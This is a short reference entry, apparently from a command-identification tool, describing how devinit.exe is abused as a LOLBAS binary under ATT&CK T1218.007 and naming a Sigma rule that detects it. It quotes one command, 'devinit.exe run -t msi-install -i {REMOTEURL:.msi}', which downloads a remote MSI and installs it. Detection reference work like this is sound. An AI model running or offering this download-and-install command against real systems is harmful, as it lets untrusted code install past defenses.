Ceplin Command Identifier

Identifier / Programs / Windows

devinit.exe

LOLBAS Execute 1 ATT&CK technique 1 documented command

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How devinit.exe is abused

documented by LOLBAS

Execute T1218.007 System Binary Proxy Execution: Msiexec

run

-t
-i

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for devinit.exe.

1 documented command

from LOLBAS, each read by the identifier

Execute T1218.007 System Binary Proxy Execution: Msiexec User privileges

Downloads an MSI file to C:\Windows\Installer and then installs it.

devinit.exe run -t msi-install -i {REMOTEURL:.msi}
Identify

Trips 1 Sigma rule: mediumArbitrary MSI Download Via Devinit.EXE by Florian Roth (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for devinit.exe, by mr.d0x, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for devinit.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
T1218.007System Binary Proxy Execution: Msiexec

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